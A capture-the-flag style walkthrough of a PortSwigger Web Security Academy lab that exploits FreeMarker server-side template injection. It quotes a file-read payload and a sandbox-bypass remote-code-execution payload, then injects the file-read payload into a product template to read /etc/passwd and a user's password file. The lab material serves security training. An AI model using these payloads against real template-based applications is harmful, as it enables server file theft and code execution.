| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Server-Side Template Injection (FreeMarker, Sandbox Bypass) |
| Difficulty | Expert |
| Objective | Break out of the sandbox to read my_password.txt from Carlos's home directory, then submit its contents |
Server-Side Template Injection in a Sandboxed Environment¶
Log in as content-manager:C0nt3ntM4n4g3r, go to a post, and modify the template. Messing with the placeholders triggers an error that identifies FreeMarker:
<p>Hurry! Only ${teto} left of ${product.name} at ${product.price}.</p>
Checking PayloadsAllTheThings for FreeMarker:
Freemarker - Read File
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII
Freemarker - Sandbox Bypass
⚠️ only works on Freemarker versions below 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
The lab's sandbox is meant to block the usual RCE-via-Execute route, but the file read primitive doesn't go through Execute at all — it walks the class loader's protection domain to get a file URL and reads bytes directly. Since reading the password file is the actual objective, that's worth trying as the bypass on its own.
Trying the file read against /etc/passwd first:
<p>Hurry! Only ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")} left of ${product.name} at ${product.price}.</p>
/etc/passwd comes back as a list of decimal byte values — the sandbox isn't blocking this path. Targeting /home/carlos/my_password.txt, assuming the standard /home/carlos layout used across these labs:
<p>Hurry! Only ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} left of ${product.name} at ${product.price}.</p>
The output comes back as decimal byte values, not text. Decoding them to ASCII gives the password:
Submitting it solves the lab
o,o